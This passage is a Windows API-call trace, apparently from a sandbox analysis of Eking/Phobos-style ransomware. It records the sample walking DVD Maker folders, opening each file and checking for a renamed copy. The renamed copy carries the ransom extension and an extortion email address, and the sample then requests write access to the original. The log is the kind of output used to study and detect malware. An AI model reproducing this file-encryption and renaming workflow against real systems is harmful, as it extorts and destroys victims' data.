"c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv")) returned 0x20 [0183.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.249] SetEvent (hEvent=0x174) returned 1 [0183.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.252] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4570) returned 1 [0183.252] CloseHandle (hObject=0x1e0) returned 1 [0183.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png")) returned 0x20 [0183.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png")) returned 0x20 [0183.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.255] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=51801) returned 1 [0183.255] CloseHandle (hObject=0x1e0) returned 1 [0183.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png")) returned 0x20 [0183.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png")) returned 0x20 [0183.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.256] SetEvent (hEvent=0x174) returned 1 [0183.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.257] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5088) returned 1 [0183.257] CloseHandle (hObject=0x1e0) returned 1 [0183.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png")) returned 0x20 [0183.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png")) returned 0x20 [0183.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.258] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3130) returned 1 [0183.258] CloseHandle (hObject=0x1e0) returned 1 [0183.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png")) returned 0x20 [0183.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png")) returned 0x20 [0183.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.260] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5025) returned 1 [0183.260] CloseHandle (hObject=0x1e0) returned 1 [0183.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png")) returned 0x20 [0183.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png")) returned 0x20 [0183.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.261] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3118) returned 1 [0183.261] CloseHandle (hObject=0x1e0) returned 1 [0183.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png")) returned 0x20 [0183.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png")) returned 0x20 [0183.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.263] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4955) returned 1 [0183.263] CloseHandle (hObject=0x1e0) returned 1 [0183.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png")) returned 0x20 [0183.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png")) returned 0x20 [0183.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.265] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3081) returned 1 [0183.265] CloseHandle (hObject=0x1e0) returned 1 [0183.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png")) returned 0x20 [0183.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png")) returned 0x20 [0183.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.266] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=96025) returned 1 [0183.266] CloseHandle (hObject=0x1e0) returned 1 [0183.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png")) returned 0x20 [0183.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png")) returned 0x20 [0183.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.267] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2864) returned 1 [0183.267] CloseHandle (hObject=0x1e0) returned 1 [0183.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png")) returned 0x20 [0183.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png")) returned 0x20 [0183.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.268] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4815) returned 1 [0183.268] CloseHandle (hObject=0x1e0) returned 1 [0183.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png")) returned 0x20 [0183.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png")) returned 0x20 [0183.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.273] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3030) returned 1 [0183.273] CloseHandle (hObject=0x1e0) returned 1 [0183.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png")) returned 0x20 [0183.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png")) returned 0x20 [0183.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.273] SetEvent (hEvent=0x174) returned 1 [0183.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.274] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4815) returned 1 [0183.274] CloseHandle (hObject=0x1e0) returned 1 [0183.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png")) returned 0x20 [0183.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png")) returned 0x20 [0183.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.276] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3024) returned 1 [0183.276] CloseHandle (hObject=0x1e0) returned 1 [0183.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: 